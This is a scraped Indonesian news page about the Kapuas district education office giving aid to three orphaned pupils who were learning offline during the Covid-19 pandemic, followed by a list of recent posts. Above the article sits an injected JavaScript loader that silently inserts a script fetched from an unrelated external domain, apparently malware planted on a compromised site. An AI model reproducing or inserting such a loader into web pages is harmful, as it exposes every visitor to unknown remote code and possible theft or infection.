(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Kapuas

Semangat Tiga Anak Yatim Belajar Saat Pandemi, Kadisdik Kapuas Berikan Bantuan


KANALKALIMANTAN. COM, KUALA KAPUAS – Sebuah unggahan di medsos oleh seorang guru honorer saat berkunjung ke siswa SD yang tengah Belajar dari Rumah (BDR) Luring, menggugah Dinas Pendidikan Kapuas. Unggahan tersebut disertai narasi, “Tiga anak yatim tetap semangat Belajar Dari Rumah metode Luar Jaringan (Luring) karena tidak memiliki handphone di Pangkalan Rekan, Kecamatan Basarang.”

Menyikapi hal tersebut, Dr H Suwarno selaku Kadisdik Kalsel, langsung menghubungi guru bersangkutan. Dari situ, ia mendapatkan keterangan bahwa ayah dari ketiga muridnya itu baru saja meninggal dunia. Sementara sang ibu yang masih menyusui bayi dan tidak memiliki pekerjaan.

Kondisi inilah mendorong pria yang juga Dosen STAI Kuala Kapuas ini mengundang Kepala SDN 1 Pangkalan Rekan beserta 7 guru honorer juga orang tua dan murid ke Dinas Pendidikan Kabupaten Kapuas.

Pemkab Kapuas melalui Dinas Pendidikan telah menyediakan bantuan peralatan sekolah bagi Peserda Didik tidak mampu. “Bantuan yang diberikan berupa tas, buku dan uang tunai untuk membeli baju seragam serta sepatu (tersedia tidak cocok ukuran) dan kelengkapan lainnya” ucapnya.

Ia juga meminta ketiga murid kelas rendah di SD itu terus giat belajar walaupun ayahnya sebagai tulang punggung keluarga telah tiada.

Kepada Bashori selaku Kepala SDN 1 Pangkalan Rekan juga Kepala Sekolah lainnya, Suwarno meminta untuk mendata peserta didik lainnya dan mengusulkan sebagai penerima bantuan dana dari Program Indonesia Pintar (PIP) sehingga semua anak termasuk yang tidak mampu tetap bersekolah.

“Saya bangga dan mengapresiasi tinggi atas dedikasi ketujuh guru honorer di SDN 1 Pangkalan Rekan juga Bapak dan Ibu Guru di sekolah lain semua jenjang dalam Kabupaten Kapuas yang penuh semangat bertandang ke rumah siswa lakukan BDR metode Luring namun tetap menjaga protokol kesehatan,” ungkapnya.

Kapuas masih berada pada zona merah pandemi Covid-19 sehingga tidak dibolehkan melaksanakan belajar tatap muka. (Kanalkalimantan.com/ags)

Reporter : Ags
Editor : Cell


Desy Arfianty

Recent Posts

Soal Opsen Pajak Kendaraan 2025, Pemprov Kalsel Berikan Insentif Selama 6 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More

6 jam ago

Ada Panel Surya 3.000 Watt di SMPN 11 Banjarbaru

Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More

9 jam ago

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

10 jam ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

11 jam ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

13 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

13 jam ago

This website uses cookies.